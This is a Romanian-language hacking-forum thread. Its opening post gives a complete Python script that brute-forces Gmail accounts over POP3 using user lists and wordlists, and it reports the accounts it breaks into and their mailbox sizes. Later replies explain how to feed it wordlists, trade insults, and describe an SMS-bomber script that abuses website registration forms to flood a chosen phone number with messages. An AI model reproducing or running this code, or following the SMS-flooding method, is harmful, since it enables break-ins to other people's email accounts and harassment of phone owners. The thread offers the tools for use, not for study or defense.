Jump to content
yakuZza22

GMail Brute Force

Recommended Posts

GMail Brute Force Python :D


#!usr/bin/python

#Gmail Pop3 Brute Forcer

#[url]http://darkcode.ath.cx[/url]
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "\t Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
sys.exit(1)

server = "pop.gmail.com"
success = []

try:
users = open(sys.argv[1], "r").readlines()
except(IOError):
print "[-] Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)

try:
pop = poplib.POP3_SSL(server, 995)
welcome = pop.getwelcome()
pop.quit()
except (poplib.error_proto):
welcome = "No Response"
pass

print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
print "\n[-] Reloading Wordlist - Changing User\n"
reloader()
value = random.sample(words, 1)
users.remove(users[0])

lock.release()
if len(users) ==1:
return value[0][:-1], users[0]
else:
return value[0][:-1], users[0][:-1]

class Worker(threading.Thread):

def run(self):
value, user = getword()

try:
print "-"*30
print "[+] User:",user,"Password:",value
pop = poplib.POP3_SSL(server, 995)
pop.user(user)
pop.pass_(value)
print "\t\t\n\nLogin successful:",user, value
print "\t\tMail:",pop.stat()[0],"emails"
print "\t\tSize:",pop.stat()[1],"bytes\n\n"
success.append(user)
success.append(value)
success.append(pop.stat()[0])
success.append(pop.stat()[1])
pop.quit()
except (poplib.error_proto), msg:
#print "An error occurred:", msg
pass

for i in range(len(words)*len(users)):
work = Worker()
work.start()
time.sleep(1)
if len(success) >=1:
print "\n\n[+] Login successful:",success[0], success[1]
print "\t[+] Mail:",success[2],"emails"
print "\t[+] Size:",success[3],"bytes\n"
print "\n[-] Done\n"

Link to comment
Share on other sites

e primul post pe care il scriu cu frica de ban ptr k topicul de destul de vechi, dar... am si eu o intrebare mai de noob... e adevarat k iti trebuie o lista de cuvinte si daca da, lista aia tre sa aiba numele scris in cod, nu?

[sorry ptr intrebarile de noob, poate nu am suparat pe prea multi :)]

Link to comment
Share on other sites

De fapt dupa cum reiese din cod trebuie sa ai 2 liste , una cu useri si una cu parole . Atat userii cat si parolele cred eu ca trebuie sa aiba doar cate un element pe o linie ( nu cunosc python si nu prea am chef sa inteleg :) ) , si probabil fiecare user va fi incercat cu fiecare parola .

Link to comment
Share on other sites

@smbgpla postul e din 2008, nu ai alta treaba ?

Asa este, nu am vazut...dadusem search si am uitat sa ma uit la data.

Oricum, nu pot sa nu observ ceva demn de mila... Te-am ironizat o data intr-un post de-al tau pt ca erai incredibil de idiot si acum ma urmaresti peste tot cu genul asta de comentarii :))

A cata oara este cand postezi imediat dupa mine incercand sa ma ataci cumva?:)) Nu-i nimic, nu disper si nu te urmaresc cum faci si tu. E clar ca ai trecut recent de faza de 12 ani "zi-mi unde stai ca vin si ne batem" :)))

Asta e ultima data cand iti raspund la idioteniile tale. Poti sa comentezi in continuare... da-i search, zilnic, "smbgpla" si vezi ce postez sa poti sa te maimutaresti.

Success

Link to comment
Share on other sites

@smbgpla chiar nu stiam cine esti, de fapt nici acum nu prea stiu cine plm esti, ai 13 post-uri, cum naiba stau sa te verific pe tine, din cate am vazut ai postat o idiotienie intr-un topic facut de mine(ala legat de sms bomber) si din ala reiese ca tu esti idiotu de 12 ani, nu prea ai nici un post constructiv, deci gandeste-te inca 1 data cand zici ca te urmaresc, sincer esti un ... nimeni...nu stai nimeni sa te verifice pe tine decat acum ca mi-ai zis ca mai ironizat,

pai ma ...nu e nici o vrajeala cu script sau plm...cauta un site care iti cere autentificare prin sms si inlocuieste http:// ala in script si gata! merge

situri sunt o gramada! cauta pe google. nu e nici o hackereala sau mai stiu eu ce (am auzit pe unii cu nu stiu ce server de telefonie)... te inregistrezi cu nr ala de tel de cate ori vrei si ala primeste sms de fiecare data ce dai tu Resgister sau ce o fi.

da-i un search pe google si schimba linkul in script si ai sa vezi ca merge

scriptul asta iti inlesneste munca...nu mai trebuie sa dai click si ctrl+v

unde e partea de ironie, aici esti doar prost, iti place sa aberezi despre ufo-uri

@waingro nici de tine nu am auzit, si nu inteleg care e problema ta, de asemenea ai 50 de post-uri, ce gata ai invatat sa folosesti exploitere de sql si ti-a crescut papagalu

Link to comment
Share on other sites

@waingro nici de tine nu am auzit, si nu inteleg care e problema ta, de asemenea ai 50 de post-uri, ce gata ai invatat sa folosesti exploitere de sql si ti-a crescut papagalu

mestere .. prea esti un forumist convins.nu mi placi.sper ca nu ti ai luat pretena dupa cate thread uri a postat pe vreun forum sau cate vizionari a avut pe hi5.sper..

..si ne-om fi nascut noi ieri si tu alaltaieri dar nu fi convins de asta.

Edited by waingro
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.


×
×
  • Create New...